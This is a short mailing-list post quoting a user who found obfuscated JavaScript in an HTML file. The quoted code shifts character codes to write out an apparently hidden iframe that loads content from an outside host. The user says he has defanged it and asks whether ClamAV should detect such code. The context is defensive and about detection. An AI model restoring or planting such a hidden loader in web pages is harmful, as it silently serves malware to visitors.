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Jim Popovitch wrote:

>I ran across the some javascript in an HTML file.  It is similar to the
>following, except the following has been modified to not function.
>
>   ------------------
>     var k='?gly#v|oh%ylvlelolw|
>            =#klggh>srvlwlrq=#devroxwh>#
>            ohiw#>#wrs=#4%A?liudph#vuf@%
>            kwws2xvhu431liudph1ux#iudpherughu at 3#
>            yvsd@#vsdfh at 3#zlgwk at 4#khlw at 4#pdujlqzlgwk at 3#
>            pdujhjkw at 3#vflqj at qrA?2lihA?2glyA'
>     var t=9999;
>     var h='';
>     while( t<=k.length-1 ) {
>       h = h+String.fromCharCode(k.charCodeAt(t++)-2);
>     }
>     document.write(h);
>    ----------
>
>The above (in it's original state), downloads and installs some nasty
>things.  As it is above it is pretty harmless, but still potentially
>dangerous.  
>
>The question I have is this:  Shouldn't clamav see code like this as a
>virus when scanning cached HTML on a filesystem?
>
>-Jim P.
>
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